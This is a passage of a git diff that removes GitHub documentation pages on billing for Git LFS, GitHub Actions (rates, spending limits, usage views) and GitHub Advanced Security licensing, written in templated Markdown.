a/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Viewing your Git Large File Storage usage -intro: 'You can audit your account''s monthly bandwidth quota and remaining storage for {% data variables.large_files.product_name_short %}.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-git-large-file-storage-usage - - /articles/viewing-storage-and-bandwidth-usage-for-a-personal-account - - /articles/viewing-storage-and-bandwidth-usage-for-an-organization - - /articles/viewing-your-git-large-file-storage-usage - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage - - /billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - LFS - - Organizations - - User account -shortTitle: View Git LFS usage ---- - -{% data reusables.billing.enhanced-billing-platform %} - -{% data reusables.large_files.owner_quota_only %} {% data reusables.large_files.does_not_carry %} - -## Viewing storage and bandwidth usage for a personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.dotcom_billing.lfs-data %} - -## Viewing storage and bandwidth usage for an organization - -{% ifversion billing-beta-enterprise %} - -> [!NOTE] -> If your organization belongs to an enterprise enrolled in the Billing {% data variables.release-phases.private_preview %} for {% data variables.large_files.product_name_short %}, you will not see {% data variables.large_files.product_name_short %} usage on the existing billing pages. - -{% endif %} - -{% data reusables.dotcom_billing.org-billing-perms %} - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.lfs-data %} - -{% ifversion ghec %} - -## Viewing storage and bandwidth for an enterprise account - -{% ifversion billing-beta-enterprise %} - -> [!NOTE] -> If your enterprise is enrolled in the Billing {% data variables.release-phases.private_preview %} for {% data variables.large_files.product_name_short %}, you will not see {% data variables.large_files.product_name_short %} usage on the existing billing pages. - -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Scroll to the "Git LFS" section. -{% endif %} - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage) -* [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/about-billing-for-github-actions.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/about-billing-for-github-actions.md deleted file mode 100644 index 4ea8f6a9d27d..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/about-billing-for-github-actions.md +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: About billing for GitHub Actions -intro: 'If you want to use {% data variables.product.prodname_actions %} beyond the storage or minutes included in your account, you will be billed for additional usage.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-actions - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions/about-billing-for-github-actions - - /billing/managing-billing-for-github-actions/about-billing-for-github-actions - - /early-access/billing/actions-billing-update -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Actions - - Spending limits -shortTitle: Billing for GitHub Actions ---- - -{% data reusables.billing.enhanced-billing-platform %} - -## About billing for {% data variables.product.prodname_actions %} - -{% ifversion billing-auth-and-capture %} - -{% data reusables.billing.authorization-charge %} - -{% endif %} - -{% data reusables.actions.actions-billing %} - -{% data reusables.actions.actions-spending-limit-brief %} For more information, see [About spending limits](#about-spending-limits). - -If you are an organization owner{% ifversion ghec %} or enterprise owner{% endif %}, you can connect an Azure Subscription ID to your organization {% ifversion ghec %}or enterprise{% endif %} account to enable and pay for {% data variables.product.prodname_actions %} usage beyond the amounts included with your account. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). - -Minutes reset every month, while storage usage does not. - -### Included storage and minutes - -> [!NOTE] -> * Included minutes cannot be used for larger runners. These runners will always be charged for, including in public repositories. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions#per-minute-rates). -> * Logs and job summaries do not count towards storage usage. - -|Plan | Storage | Minutes (per month)| -|------- | ------- | ---------| -| {% data variables.product.prodname_free_user %} | 500 MB | 2,000 | -| {% data variables.product.prodname_pro %} | 1 GB | 3,000 | -| {% data variables.product.prodname_free_team %} for organizations | 500 MB | 2,000 | -| {% data variables.product.prodname_team %} | 2 GB | 3,000 | -| {% data variables.product.prodname_ghe_cloud %} | 50 GB | 50,000 | - -The storage used by a repository is the total storage used by {% data variables.product.prodname_actions %} artifacts and {% data variables.product.prodname_registry %}. Your storage cost is the total usage for all repositories owned by your account. For more information about pricing for {% data variables.product.prodname_registry %}, see [AUTOTITLE](/billing/managing-billing-for-github-packages/about-billing-for-github-packages). - -If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.008 USD per GB of storage per day and per-minute usage depending on the operating system used by the {% data variables.product.prodname_dotcom %}-hosted runner. {% data variables.product.prodname_dotcom %} rounds the minutes and partial minutes each job uses up to the nearest whole minute. - -### Minute multipliers - -Jobs that run on Windows and macOS runners that {% data variables.product.prodname_dotcom %} hosts consume minutes at 2 and 10 times the rate that jobs on Linux runners consume. For example, using 1,000 Windows minutes would consume 2,000 of the minutes included in your account. Using 1,000 macOS minutes, would consume 10,000 minutes included in your account. - -| Operating system | Minute multiplier | -|----------------- | ------------------| -| Linux | 1 | -| Windows | 2 | -| macOS | 10 | - -> [!NOTE] -> Minute multipliers do not apply to the per-minute rates shown below. - -### Per-minute rates - -#### Per-minute rates for standard runners - -| Operating system | Per-minute rate (USD) | -|---------------------------------------| ----------------------| -| Linux 2-core | $0.008 | -| Windows 2-core | $0.016 | -| macOS 3-core or 4-core (M1 or Intel) | $0.08 | - -#### Per-minute rates for x64-powered {% data variables.actions.hosted_runners %} - -| Operating system | Per-minute rate (USD) | -|------------------------| ----------------------| -| Linux Advanced 2-core | $0.008 | -| Linux 4-core | $0.016 | -| Linux 8-core | $0.032 | -| Linux 16-core | $0.064 | -| Linux 32-core | $0.128 | -| Linux 64-core | $0.256 | -| Windows 4-core | $0.032 | -| Windows 8-core | $0.064 | -| Windows 16-core | $0.128 | -| Windows 32-core | $0.256 | -| Windows 64-core | $0.512 | -| macOS 12-core | $0.12 | - -#### Per-minute rates for arm64-powered {% data variables.actions.hosted_runners %} - -| Operating system | Per-minute rate (USD) | -|---------------------| -----------| -| Linux 2-core | $0.005 | -| Linux 4-core | $0.01 | -| Linux 8-core | $0.02 | -| Linux 16-core | $0.04 | -| Linux 32-core | $0.08 | -| Linux 64-core | $0.16 | -| Windows 2-core | $0.01 | -| Windows 4-core | $0.02 | -| Windows 8-core | $0.04 | -| Windows 16-core | $0.08 | -| Windows 32-core | $0.16 | -| Windows 64-core | $0.32 | -| macOS 6-core (M1) | $0.16 | - -#### Per-minute rates for GPU-powered {% data variables.actions.hosted_runners %} - -| Operating system | Per-minute rate (USD) | -|---------------------| -----------| -| Linux 4-core | $0.07 | -| Windows 4-core | $0.14 | - -#### Points to note about rates for runners - -* The number of jobs you can run concurrently across all repositories in your user or organization account depends on your {% data variables.product.prodname_dotcom %} plan. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration) for {% data variables.product.prodname_dotcom %}-hosted runners and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#usage-limits) for self-hosted runner usage limits. -* {% data reusables.user-settings.context_switcher %} -* {% data reusables.actions.larger-runner-permissions %} -* {% data reusables.actions.about-larger-runners-billing %} -* For {% data variables.actions.hosted_runner %}s, there is no additional cost for configurations that assign public static IP addresses to a {% data variables.actions.hosted_runner %}. For more information on {% data variables.actions.hosted_runner %}s, see [AUTOTITLE](/actions/using-github-hosted-runners/using-larger-runners/about-larger-runners). -* Included minutes cannot be used for {% data variables.actions.hosted_runner %}s. -* The {% data variables.actions.hosted_runner %}s are not free for public repositories. - -## Calculating minute and storage spending - -{% data reusables.dotcom_billing.pricing_calculator.pricing_cal_actions %} - -At the end of the month, {% data variables.product.prodname_dotcom %} calculates the cost of minutes and storage used over the amount included in your account. - -### Sample minutes cost calculation - -For example, if your organization uses {% data variables.product.prodname_team %} and allows unlimited spending, using 5,000 minutes could have a total storage and minute overage cost of $56 USD, depending on the operating systems used to run jobs. - -* 5,000 (3,000 Linux and 2,000 Windows) minutes = $56 USD ($24 USD + $32 USD). - * 3,000 Linux minutes at $0.008 USD per minute = $24 USD. - * 2,000 Windows minutes at $0.016 USD per minute = $32 USD. - -{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage during that month. - -### Sample storage cost calculation - -> [!NOTE] -> {% data variables.product.company_short %} updates your storage space within a 6 to 12-hour window. If you delete artifacts, the available space will be reflected in your account during the next scheduled update. - -For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be: - -* 3 GB x 10 days x (24 hours per day) = 720 GB-Hours -* 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours -* 720 GB-Hours + 6,048 GB-Hours = 6,768 GB-Hours -* 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months - -At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB. - -Your {% data variables.product.prodname_actions %} usage shares your account's existing billing date, payment method, and receipt. {% data reusables.dotcom_billing.view-all-subscriptions %} - -## About spending limits - -{% data reusables.actions.actions-spending-limit-detailed %} - -For information on managing and changing your account's spending limit, see [AUTOTITLE](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions). - -{% data reusables.dotcom_billing.actions-packages-unpaid-account %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/index.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/index.md deleted file mode 100644 index d6df0778cea5..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Managing billing for GitHub Actions -shortTitle: GitHub Actions -intro: 'You can view your usage and set a spending limit for {% data variables.product.prodname_actions %}.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions - - /billing/managing-billing-for-github-actions -versions: - fpt: '*' - ghec: '*' -children: - - /about-billing-for-github-actions - - /viewing-your-github-actions-usage - - /managing-your-spending-limit-for-github-actions ---- - -{% data reusables.billing.enhanced-billing-platform %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions.md deleted file mode 100644 index 5c700f5dd9d5..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Managing your spending limit for GitHub Actions -intro: 'You can set a spending limit for {% data variables.product.prodname_actions %} usage.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-actions - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions - - /billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Actions - - Enterprise - - Organizations - - Spending limits - - User account -shortTitle: Spending limits for Actions ---- - -{% data reusables.billing.enhanced-billing-platform %} - -## About spending limits for {% data variables.product.prodname_actions %} - -{% data reusables.actions.actions-billing %} - -{% data reusables.actions.actions-spending-limit-brief %} - -{% data reusables.actions.actions-packages-set-spending-limit %} For more information about pricing for {% data variables.product.prodname_actions %} usage, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). - -If you are an organization owner{% ifversion ghec %} or enterprise owner{% endif %}, you can connect an Azure Subscription ID to your organization {% ifversion ghec %}or enterprise{% endif %} account to enable and pay for {% data variables.product.prodname_actions %} usage beyond the amounts including with your account. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). - -As soon as you set a spending limit other than $0, you will be responsible for any existing overages in the current billing period. For example, if your organization uses {% data variables.product.prodname_team %}, does not allow overages, and creates workflow artifacts that increase your storage usage for the month from 1.9GB to 2.1GB, you will use slightly more storage than the 2GB your product includes. - -Because you have not enabled overages, your next attempt to create a workflow artifact will fail. You will not receive a bill for the 0.1GB overage that month. However, if you enable overages, your first bill will include the 0.1GB of existing overage for the current billing cycle, as well as any additional overages you accrue. - -## Managing the spending limit for {% data variables.product.prodname_actions %} for your personal account - -Anyone can manage the spending limit for {% data variables.product.prodname_actions %} for their own personal account. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans_spending %} -{% data reusables.dotcom_billing.manage-spending-limit %} -{% data reusables.dotcom_billing.monthly-spending-limit %} -{% data reusables.dotcom_billing.update-spending-limit %} - -## Managing the spending limit for {% data variables.product.prodname_actions %} for your organization - -Organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_actions %} for an organization. - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.manage-spending-limit %} -1. Under "Monthly spending limit", choose to limit spending or allow unlimited spending. - - > [!NOTE] - > If {% data variables.product.prodname_github_codespaces %} is enabled for your organization, scroll to "Actions & Packages", then choose to limit spending or allow unlimited spending. - -{% data reusables.dotcom_billing.update-spending-limit %} - -{% ifversion ghec %} - -## Managing the spending limit for {% data variables.product.prodname_actions %} for your enterprise account - -Enterprise owners and billing managers can manage the spending limit for {% data variables.product.prodname_actions %} for an enterprise account. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. On the "Billing" page, click the **Spending limit** tab. - - ![Screenshot of the "Billing" page. A tab labeled "Spending limit" is highlighted with an orange outline.](/assets/images/help/settings/spending-limit-tab-enterprise.png) - -{% data reusables.dotcom_billing.monthly-spending-limit %} -{% data reusables.dotcom_billing.update-spending-limit %} -{% endif %} - -## Managing usage and spending limit email notifications - -{% data reusables.billing.email-notifications %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/viewing-your-github-actions-usage.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/viewing-your-github-actions-usage.md deleted file mode 100644 index 8ecf1ca60bd5..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-actions/viewing-your-github-actions-usage.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Viewing your GitHub Actions usage -intro: 'You can view details of your usage of minutes and storage for {% data variables.product.prodname_actions %}.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-actions-usage - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions/viewing-your-github-actions-usage - - /billing/managing-billing-for-github-actions/viewing-your-github-actions-usage -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Actions - - Enterprise - - Organizations - - User account -shortTitle: View your Actions usage ---- - -{% data reusables.billing.enhanced-billing-platform %} - -You can also view the billable job execution minutes for an individual workflow run. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time). - -## Viewing {% data variables.product.prodname_actions %} usage for your personal account - -Anyone can view {% data variables.product.prodname_actions %} usage for their own personal account. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.dotcom_billing.actions-minutes %} -{% data reusables.dotcom_billing.actions-packages-storage %} -{% data reusables.dotcom_billing.actions-packages-report-download %} - -## Viewing {% data variables.product.prodname_actions %} usage for your organization - -{% ifversion billing-beta-enterprise %} - -> [!NOTE] -> If your organization belongs to an enterprise enrolled in the Billing {% data variables.release-phases.private_preview %} for {% data variables.product.prodname_actions %}, you will not see {% data variables.product.prodname_actions %} usage on the existing billing pages. - -{% endif %} - -Organization owners and billing managers can view {% data variables.product.prodname_actions %} usage for an organization. For organizations managed by an enterprise account, only the organization owners can view {% data variables.product.prodname_actions %} usage in the organization billing page. - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.actions-minutes %} -{% data reusables.dotcom_billing.actions-packages-storage %} -{% data reusables.dotcom_billing.actions-packages-report-download-org-account %} - -{% ifversion ghec %} - -## Viewing {% data variables.product.prodname_actions %} usage for your enterprise account - -{% ifversion billing-beta-enterprise %} - -> [!NOTE] -> If your enterprise is enrolled in the Billing {% data variables.release-phases.private_preview %} for {% data variables.product.prodname_actions %}, you will not see {% data variables.product.prodname_actions %} usage on the existing billing pages. - -{% endif %} - -Enterprise owners and billing managers can view {% data variables.product.prodname_actions %} usage for an enterprise account. - -> [!NOTE] -> Billing details for enterprise accounts don't summarize the usage minutes for each operating system. {% data reusables.actions.enterprise-billing-details %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Under "Actions monthly usage," view your usage minutes. - - You can expand this section to show a breakdown of the usage by runner type. - -1. Under your usage minutes, view details of usage of data transfer by each organization in your enterprise account. -{% data reusables.dotcom_billing.actions-packages-storage-enterprise-account %} -{% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %} -{% endif %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md deleted file mode 100644 index e6e13e2c94c8..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: About billing for GitHub Advanced Security -intro: 'Learn how {% data variables.product.prodname_GH_advanced_security %} costs are calculated and how to get the most from your license.' -product: '{% data reusables.gated-features.ghas-ghec %}' -redirect_from: - - /admin/advanced-security/about-licensing-for-github-advanced-security - - /billing/managing-licensing-for-github-advanced-security/about-licensing-for-github-advanced-security - - /github/setting-up-and-managing-billing-and-payments-on-github/about-licensing-for-github-advanced-security - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-licensing-for-github-advanced-security/about-licensing-for-github-advanced-security - - /billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Advanced Security - - Enterprise - - Licensing -shortTitle: Advanced Security billing ---- - -{% ifversion metered-ghe-ghas %} - -## Metered billing for {% data variables.product.prodname_GH_advanced_security %} - -If you started a trial of {% data variables.product.prodname_GH_advanced_security %} (GHAS) during your {% data variables.product.prodname_ghe_cloud %} trial on or after August 1, 2024, or if your account is onboarded into metered billing outside of the trial, your billing will be usage-based. This means: - -* You pay for the number of licenses used each month. -* This applies to both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_GH_advanced_security %}. - -There are a few key differences between metered and volume billing for {% data variables.product.prodname_GH_advanced_security %}. - -* **GHAS Metered billing** - - * Billed per active committer, with no pre-defined license limit. - * No overage state, pay only for what you use. - * Server-only users will be added to metered billing. These users are de-duplicated with email matching to avoid double billing. - -* **GHAS Volume/Subscription billing** - - * Purchase a defined number of licenses (for example, 100 licenses). - * If usage exceeds purchased licenses, you will need to purchase additional licenses to cover this overage usage. - -For more detailed information about these two types of billing, see [AUTOTITLE](/billing/using-the-new-billing-platform/about-usage-based-billing-for-licenses). - -### Managing committers and repositories - -{% data variables.product.prodname_GH_advanced_security %} is billed per committer and enabled by repository. If you remove a committer from an organization or enterprise, or if you disable {% data variables.product.prodname_GH_advanced_security %} on a repository, the committers will remain billable until the end of the current monthly billing cycle. Prorated billing applies only when a committer starts partway through the month. For examples of how committers are tracked and billed, see [Understanding usage](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security#understanding-usage). - -If you have further questions about using {% data variables.product.prodname_GH_advanced_security %}, you can contact your account manager in {% data variables.contact.contact_enterprise_sales %}. - -{% data reusables.billing.actions-usage-delay %} - -{% endif %} - -## About licenses for {% data variables.product.prodname_GH_advanced_security %} - -{% ifversion billing-auth-and-capture %} - -{% data reusables.billing.authorization-charge %} - -{% endif %} - -{% ifversion fpt %} - -{% data reusables.advanced-security.ghas-license-info-for-fpt %} - -> [!NOTE] -> If you change the visibility of a public repository to private then {% data variables.product.prodname_GH_advanced_security %} will be disabled for that repository. - -For pricing details for {% data variables.product.prodname_GH_advanced_security %}, see our [pricing information](https://github.com/enterprise/advanced-security#pricing). - -{% data reusables.advanced-security.ghas-products-tip %} - -{% elsif ghec %} - -If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license. For more information about {% data variables.product.prodname_GH_advanced_security %}, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). - -{% data reusables.advanced-security.ghas-products-tip %} - -{% ifversion security-configurations %} -{% data reusables.security-configurations.managing-GHAS-licenses %} - -{% endif %} - -{% data reusables.advanced-security.ghas-trial-availability %} See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/setting-up-a-trial-of-github-advanced-security). - -{% data reusables.advanced-security.ghas-trial-invoiced %} - -For other billing-related questions, contact {% data variables.contact.github_support %}. - -{% elsif ghes %} - -You can make extra features available to users by buying and uploading a license for {% data variables.product.prodname_GH_advanced_security %}. For more information about {% data variables.product.prodname_GH_advanced_security %}, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). - -{% data reusables.advanced-security.ghas-products-tip %} - -{% ifversion security-configurations %} -{% data reusables.security-configurations.managing-GHAS-licenses %} - -{% endif %} - -{% endif %} - -{% ifversion ghes or ghec %} - -## License size - -{% ifversion metered-ghe-ghas %} - -> [!IMPORTANT] If you have access to usage-based billing for {% data variables.product.prodname_GH_advanced_security %}, you will pay for the licenses you use each month and will not have a license limit. See [AUTOTITLE](/billing/using-the-enhanced-billing-platform-for-enterprises/about-usage-based-billing-for-licenses). - -{% endif %} - -Each license for {% data variables.product.prodname_GH_advanced_security %} specifies a maximum number of accounts that can use these features. Each active committer to at least one repository with the feature enabled uses one license. A committer is considered active if one of their commits has been pushed to the repository within the last 90 days, regardless of when it was originally authored. - -When you remove a user from your enterprise account, the user's license is freed within 24 hours. - -{% ifversion ghes %} -You can determine how many licenses you'll need for {% data variables.product.prodname_GH_advanced_security %} by generating a count of your instance's active committers in the site admin dashboard. See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers). -{% endif %} - -If you are over your license limit, {% data variables.product.prodname_GH_advanced_security %} continues to work on all repositories where it is already enabled. However, in organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled for new repositories, repositories will be created with the feature deactivated. In addition, the option to enable {% data variables.product.prodname_GH_advanced_security %} for existing repositories will not be available. - -As soon as you free up some licenses, by deactivating {% data variables.product.prodname_GH_advanced_security %} for some repositories or by increasing your license size, the options for activating {% data variables.product.prodname_GH_advanced_security %} will work again as normal. - -You can enforce policies to allow or disallow the use of {% data variables.product.prodname_advanced_security %} by organizations owned by your enterprise account. See [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise). - -For more information on viewing license usage, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage). - -## Active committers and unique committers - -We record and display two numbers of active committers for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.location.product_location %}: - -* **Active committers** is the number of committers who contributed to at least one {% ifversion fpt or ghec %}private {% endif %}organization-owned repository{% ifversion secret-scanning-user-owned-repos %} or one user-owned repository{% ifversion ghec %} when using {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_emus %}{% endif %}{% endif %}, and who use a license in your enterprise. That is, they are also an organization member, an external collaborator, or have a pending invitation to join an organization in your enterprise, and they are not a {% data variables.product.prodname_github_app %} bot. For information about differences between bot and machine accounts, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/differences-between-github-apps-and-oauth-apps#machine-vs-bot-accounts). -* **Unique to this repository/organization** is the number of active committers who contributed only to this repository, or to repositories in this organization. This number shows how many licenses you can free up by deactivating {% data variables.product.prodname_GH_advanced_security %} for that repository or organization. - -If there are no unique active committers, all active committers also contribute to other repositories or organizations that use {% data variables.product.prodname_GH_advanced_security %}. Deactivating the feature for that repository or organization would not free any licenses for {% data variables.product.prodname_GH_advanced_security %}. - -> [!NOTE] Users can contribute to multiple repositories or organizations. Usage is measured across the whole enterprise account to ensure that each member uses one license regardless of how many repositories or organizations the user contributes to. - -When you activate or deactivate {% data variables.product.prodname_advanced_security %} for repositories, {% data variables.product.prodname_dotcom %} displays an overview of changes to the use of your license. If you deactivate access to {% data variables.product.prodname_GH_advanced_security %}, any licenses used by unique active committers are freed up. - -{% ifversion ghec %} -For more information on managing the number of committers, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/managing-your-github-advanced-security-licensing). -{% endif %} - -## Understanding usage - -{% ifversion metered-ghe-ghas %} - -The following example timeline demonstrates how active committer count for {% data variables.product.prodname_GH_advanced_security %} could change over time in an enterprise. For each month, you will find events, along with the resulting committer count and the effect on usage-based billing. - -| Date | Events during the month | Total committers | Effect on usage-based billing | -| :- | :- | -: | :- | -| <span style="white-space: nowrap;">April 15</span> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Repository **X** has 50 committers over the past 90 days. | **50** | Billing begins for 50 committers. | -| <span style="white-space: nowrap;">May 1</span> | Developer **A** leaves the team working on repository **X**. Developer **A**'s contributions continue to count for 90 days. | **50** | No immediate change. Developer **A** continues to be billed until their contributions are inactive for 90 days. | -| <span style="white-space: nowrap;">August 1</span> | Developer **A**'s contributions no longer count towards the licenses required, because 90 days have passed. | 50 - 1 =<br>**49** | Developer **A** is removed from the billing count, reducing the billable committers to 49. | -| <span style="white-space: nowrap;">August 15</span> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for a second repository, repository **Y**. In the last 90 days, a total of 20 developers contributed to that repository. Of those 20 developers, 10 also recently worked on repo **X** and do not require additional licenses. | 49 + 10 =<br>**59** | Billing increases to 59 committers, accounting for the 10 additional unique contributors. | -| <span style="white-space: nowrap;">August 16</span> | A member of your enterprise disables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Of the 49 developers who were working on repository **X**, 10 still also work on repository **Y**, which has a total of 20 developers contributing in the last 90 days. | 49 - 29 =<br>**20** | Billing for repository **X** continues until the end of the monthly billing cycle, but the overall billing count decreases to 20 committers for the next cycle. | - -{% else %} - -The following example timeline demonstrates how active committer count for {% data variables.product.prodname_GH_advanced_security %} could change over time in an enterprise. For each month, you will find events, along with the resulting committer count. - -| Date | Events during the month | Total committers | -| :- | :- | -: | -| <span style="white-space: nowrap;">April 15</span> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Repository **X** has 50 committers over the past 90 days. | **50** | -| <span style="white-space: nowrap;">May 1</span> | Developer **A** leaves the team working on repository **X**. Developer **A**'s contributions continue to count for 90 days. | **50** | **50** | -| <span style="white-space: nowrap;">August 1</span> | Developer **A**'s contributions no longer count towards the licenses required, because 90 days have passed. | 50 - 1 =<br>**49** | -| <span style="white-space: nowrap;">August 15</span> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for a second repository, repository **Y**. In the last 90 days, a total of 20 developers contributed to that repository. Of those 20 developers, 10 also recently worked on repo **X** and do not require additional licenses. | 49 + 10 =<br>**59** | -| <span style="white-space: nowrap;">August 16</span> | A member of your enterprise disables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Of the 49 developers who were working on repository **X**, 10 still also work on repository **Y**, which has a total of 20 developers contributing in the last 90 days. | 49 - 29 =<br>**20** | - -{% endif %} - -> [!NOTE] A user will be flagged as active when their commits are pushed to any branch of a repository, even if the commits were authored more than 90 days ago. - -## Getting the most out of {% data variables.product.prodname_GH_advanced_security %} - -When you decide which repositories and organizations to prioritize for {% data variables.product.prodname_GH_advanced_security %}, you should review them and identify: - -* Codebases that are the most critical to your company's success. These are the projects for which the introduction of vulnerable code, hard-coded secrets, or insecure dependencies would have the greatest impact on your company. -* Codebases with the highest commit frequency. These are the most actively developed projects, consequently there is a higher risk that security problems could be introduced. - -When you have enabled {% data variables.product.prodname_GH_advanced_security %} for these organizations or repositories, assess which other codebases you could add without incurring billing for unique active committers. Finally, review the remaining important and busy codebases. If you want to increase the number of licensed active committers, contact {% data variables.contact.contact_enterprise_sales %}. - -{% ifversion ghas-in-license-sync %} -If your enterprise uses {% data variables.product.prodname_GH_advanced_security %} on both {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}, you can ensure users aren't consuming multiple licenses unnecessarily by synchronizing license usage between environments.{% ifversion ghec %} {% data variables.product.prodname_GH_advanced_security %} is included in license sync in {% data variables.product.prodname_ghe_server %} version 3.12 and later.{% endif %} See [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud). -{% endif %} - -{% endif %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/index.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/index.md deleted file mode 100644 index ced255a6ea04..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Managing billing for GitHub Advanced Security -shortTitle: 